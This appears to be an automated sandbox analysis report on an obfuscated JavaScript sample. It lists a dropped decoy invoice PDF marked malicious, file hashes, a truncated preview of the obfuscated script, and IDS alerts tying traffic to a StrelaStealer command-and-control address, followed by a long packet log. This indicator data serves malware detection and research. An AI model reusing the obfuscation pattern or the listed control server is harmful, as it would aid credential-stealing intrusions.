Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLNYIGNPgzGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLNZG+zGZn3mlind9i4ufFXpAXkru
MD5:	D4DAA33293E57B41DF426CA175BEF208
SHA1:	37A73049BBF45D8DD4978207073282D7A4D104A5
SHA-256:	A19687252D9BF97C7F3C831CCDBCAD526A55EF7707A657EEE5A2507A0A248E26
SHA-512:	76300F720AE05C9DF9DD9063558D9B072AE07A4F29D50296FD3F9C1B44E201263B0AC934AA89420E90BD85C4B15168094B942E4AB033DAA7C6E27BD0BFFF629A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17582), with CRLF line terminators
Entropy (8bit):	4.910304059542113
TrID:
File name:	2300831576502014589.js
File size:	21'095 bytes
MD5:	3a9eeaf741ad68a2165e645e4fe90850
SHA1:	80f4abf09f186f747de3dccd7ac50727333c5ca2
SHA256:	ea7edab102c0aebbc253061fca01c55329776af80eb62ecca6d234dfc5cdc31c
SHA512:	e06a4023fb6dfe7ef193b03b88e076289c9d3bd44718829069683f9377201a9b6ba03b79f69d995dc8d0700a11985e06e0acd0ac9f015d9ebec4a90dd1b7ae86
SSDEEP:	384:H2jNLYflrjuj1TgqMnblsSKTl86hXjb/Q+9phKbJ6Vycq+olRs:eMwMZpiPQ+9phYX+os
TLSH:	F49232C580475FA68ED91AF0B1EB2CB6226D034F4A8482D55C435940277BAFEADF35F2
File Content Preview:	function vjufx(){ddyxatdk=[1031,3079,5127,4103,2055,3072];var nvuwatpi=this[bxabljbdh+zuwdfyrno+yuweel+vhxxbjec+mfexwb+ikofkys+lrxjdg+odshoh](this[lczti+ahoaw+saxxvntty+yuweel+zuyhln+bxabljbdh+odshoh][ygbox+yuweel+mfexwb+zuwdfyrno+odshoh+mfexwb+wfjit+ftch

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:59:28.894143+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49713	193.143.1.205	80	TCP
2025-01-11T03:59:28.894143+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49713	193.143.1.205	80	TCP
2025-01-11T03:59:31.563412+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49724	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:59:28.092411041 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:28.097328901 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:28.097415924 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:28.100507975 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:28.105369091 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:28.894081116 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:28.894104958 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:28.894115925 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:28.894143105 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:28.894258022 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:28.894268990 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:28.894362926 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:28.894469976 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:28.894481897 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:28.894521952 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:28.894522905 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:28.894532919 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:28.894543886 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:28.894558907 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:28.894597054 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:28.898936987 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:28.936630011 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:28.936641932 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:28.936683893 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.015460968 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.015486956 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.015497923 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.015532970 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.015635014 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.015650988 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.015672922 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.016334057 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.016344070 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.016355038 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.016365051 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.016371965 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.016372919 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.016388893 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.016412020 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.017139912 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.017151117 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.017160892 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.017173052 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.017180920 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.017184019 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.017205000 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.018162966 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.018172979 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.018182993 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.018193960 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.018204927 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.018207073 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.018243074 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.069452047 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.069478035 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.069489002 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.069567919 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.108160019 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.108175039 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.108211994 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.135938883 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.136008978 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.136017084 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.136027098 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.136038065 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.136049032 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.136059999 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.136074066 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.136085033 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.136209011 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.136250019 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.136271954 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.136439085 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.136450052 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.136456966 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.136477947 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.136497021 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.136609077 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.136619091 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.136636972 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.136663914 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.137110949 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.137160063 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.137161970 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.137173891 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.137212992 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.137377024 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.137387991 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.137398958 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.137412071 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.137419939 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.137463093 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.138087988 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.138153076 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.138164043 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.138192892 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.138324976 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.138334990 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.138345957 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.138355970 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.138359070 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.138381004 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.139036894 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.139081001 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.139111996 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.139122963 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.139175892 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.139251947 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.139262915 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.139275074 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.139316082 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.139405012 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.139445066 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.140001059 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.140044928 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.140053988 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.140086889 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.149462938 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.149493933 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.149504900 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.149529934 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.149566889 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.161758900 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.161802053 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.161813021 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.161849022 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.161948919 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.161958933 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.161984921 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.199852943 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.199872017 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.199884892 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.199892044 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.199898958 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.199918985 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.199949026 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.228081942 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.228104115 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.228149891 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.256530046 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.256587982 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.256624937 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.256648064 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.256716013 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.256752014 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.256763935 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.256791115 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.256825924 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.256831884 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.256958961 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.257006884 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.257013083 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.257047892 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.257091999 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.257150888 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.257184982 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.257220984 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.257229090 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.257680893 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.257730007 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.257735014 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.257771015 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.257821083 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.257869005 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.257904053 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.257946014 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.258336067 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.258408070 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.258443117 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.258459091 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.258544922 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.258579016 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.258599997 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.258614063 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.258649111 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.258661985 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.259365082 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.259399891 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.259452105 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.259470940 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.259504080 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.259521961 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.259557962 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.259686947 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.260272026 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.260304928 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.260341883 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.260354042 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.260423899 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.260457039 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.260473013 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.260490894 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.260526896 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.260529041 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.261261940 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.261296034 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.261317968 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.261332989 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.261377096 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.261415005 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.261450052 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.261486053 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.261492014 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.261521101 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.261553049 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.262192965 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.262227058 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.262263060 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.262274981 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.262315989 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.262346983 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.262352943 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.262382030 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.262417078 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.262424946 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.263094902 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.263148069 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.263156891 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.263181925 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.263217926 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.263227940 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.263298035 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.263340950 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.263348103 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.263987064 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.264019966 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.264033079 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.264055967 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.264092922 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.264107943 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.264142036 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.264177084 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.264183044 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.264211893 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.264251947 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.264894009 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.264946938 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.264982939 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.264997005 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.265098095 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.265132904 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.265141010 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.265166998 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.265206099 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.276583910 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.292174101 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.292208910 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.292260885 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.292314053 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.292325974 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.292351961 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.292357922 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.292383909 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.292418003 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.292418957 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.292452097 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.292486906 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.292495012 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.320689917 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.320729017 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.320764065 CET	80	49713	193.143.1.205	192.168.2.6
